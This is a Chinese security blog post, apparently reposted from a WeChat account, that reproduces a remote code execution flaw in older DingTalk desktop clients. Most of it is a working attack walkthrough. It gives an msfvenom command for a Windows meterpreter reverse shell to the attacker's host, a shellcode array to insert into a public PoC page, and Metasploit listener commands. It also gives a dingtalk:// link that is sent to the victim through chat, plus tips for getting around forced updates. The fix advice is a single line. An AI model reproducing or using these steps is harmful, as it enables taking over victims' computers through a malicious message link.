【漏洞复现】钉钉RCE反弹shell

admin 2022年10月8日09:14:11评论170 views字数 1244阅读4分8秒阅读模式


0x01 影响版本

钉钉版本< 6.3.25-Release.2149108


0x02 复现过程

1、环境说明:

攻击机:192.168.31.198(Kali Linux)目标机:192.168.239.135(windows10)钉钉6.3.5版本下载地址:https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe

注:此处有个问题,打开旧版钉钉会提示版本过老无法正常登录

【漏洞复现】钉钉RCE反弹shell

解决办法:
在另一台电脑安装最新版的钉钉,打开安装路径,复制staticconfig.xml文件替换到旧版即可,之后正常登录,记得把自动登录勾选上。然后在软件内设置不自动更新,退出后再把原先的配置文件覆盖回来即可解决乱码问题。其实不解决乱码问题也能触发payload。

【漏洞复现】钉钉RCE反弹shell


2、msf生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=8834 -f csharp
【漏洞复现】钉钉RCE反弹shell


3、替换payload里的shellcode

项目地址:https://github.com/crazy0x70/dingtalk-RCE
替换项目中test.html中的shellcode,需要替换的位置为var shellcode=new Uint8Array([0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28...])


4、msf监听反弹端口

use exploit/multi/handlerset LHOST 192.168.31.198set LPORT 8834set payload windows/meterpreter/reverse_tcprun
【漏洞复现】钉钉RCE反弹shell


5、开启web服务,构造poc发送给目标机

【漏洞复现】钉钉RCE反弹shell
poc:dingtalk://dingtalkclient/page/link?url=http://192.168.31.198:8080/dingding.html&pc_slide=true


6、payload触发

  • 软件不乱码的情况下,直接发送在聊天框点击触发即可

  • 乱码情况下直接在浏览器访问

【漏洞复现】钉钉RCE反弹shell


点击打开,kali就能反弹到shell

【漏洞复现】钉钉RCE反弹shell


0x03 修复建议

更新到最新版即可


公众号回复:1008,获取复现环境及工具。


【漏洞复现】钉钉RCE反弹shell


声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白名单。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与本公众号无关。

原文始发于微信公众号(白帽学子):【漏洞复现】钉钉RCE反弹shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月8日09:14:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】钉钉RCE反弹shellhttps://cn-sec.com/archives/1336460.html

发表评论

匿名网友 填写信息